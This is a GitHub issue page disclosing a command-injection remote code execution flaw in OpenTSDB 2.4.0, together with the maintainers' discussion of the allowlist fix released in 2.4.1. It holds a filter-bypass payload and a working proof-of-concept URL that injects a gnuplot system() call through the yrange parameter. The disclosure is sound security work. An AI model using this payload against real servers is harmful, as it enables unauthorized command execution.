-
Notifications
You must be signed in to change notification settings - Fork 1.2k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
OpenTSDB 2.4.0 Remote Code Execution #2051
Comments
I have confirmed this as well. |
@NightRang3r have you filed a CVE for this? |
OpenTSDB/opentsdb#2051 has not been addressed yet
OpenTSDB/opentsdb#2051 has not been addressed yet (cherry picked from commit 570daf8)
How do you verify for proof of concept that that payload worked? As the poc.txt is downloaded on the server side isn't it? |
Hi, was this issue fixed? |
@NightRang3r @aviadgolan Nice find, I didn't see this issue when it was opened. @OS-WS No, I don't think it has been fixed yet. |
|
Thanks for the find folks, I knew that little patch wouldn't work for everything. 3.0 doesn't have gnuplot so that's good. Let me see how I can fix this one up for 2.x. PLEASE NOTE: This vulnerability would affect all versions of TSDB prior to a 2.4.1 release. |
…r the Gnuplot params and introducting the tsd.gnuplot.options.allowlist setting that is a strict matching allow list of o= values from the query string that will be allowed through. By default tihs is empty so if folks are using this query param, they'll different graphs until they add the options they need.
…r the Gnuplot params and introducting the tsd.gnuplot.options.allowlist setting that is a strict matching allow list of o= values from the query string that will be allowed through. By default tihs is empty so if folks are using this query param, they'll different graphs until they add the options they need.
@NightRang3r @aviadgolan mind taking a look at #2127 let me know if it's ok please? Thanks. |
Gnuplot params and introducting the tsd.gnuplot.options.allowlist setting that is a strict matching allow list of o= values from the query string that will be allowed through. By default tihs is empty so if folks are using this query param, they'll different graphs until they add the options they need.
Gnuplot params and introducting the tsd.gnuplot.options.allowlist setting that is a strict matching allow list of o= values from the query string that will be allowed through. By default tihs is empty so if folks are using this query param, they'll different graphs until they add the options they need.
Is it completed? |
@mcauto It's in the main branch, yes. No release yet though. |
Released in 2.4.1 |
Gnuplot params and introducting the tsd.gnuplot.options.allowlist setting that is a strict matching allow list of o= values from the query string that will be allowed through. By default tihs is empty so if folks are using this query param, they'll different graphs until they add the options they need.
During a Pentest we found a remote code execution vulnerability in OpenTSDB 2.4.0 and below using command injection in the yrange parameter (other parameters might be vulnerable as well)
When passing the payload via one of the parameters it is written to a gnuplot file in the /tmp directory and the gnuplot file is executed by OpenTSDB via the /src/mygnuplot.sh shell script.
There was an attempt to block command injections by blocking back-ticks but we were able to bypass it:
/src/tsd/GraphHandler.java:
Bypass Payload:
[33:system('touch/tmp/poc.txt')]
PoC:
http://opentsdbhost.local/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('touch/tmp/poc.txt')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
The gnuplot file created in the temp directory by OpenTSDB would look something like this:
When executed by OpenTSDB mygnuplot.sh the poc.txt file will be written to the temp directory.
This vulnerability has been discovered by Aviad Golan and Shai rod
The text was updated successfully, but these errors were encountered: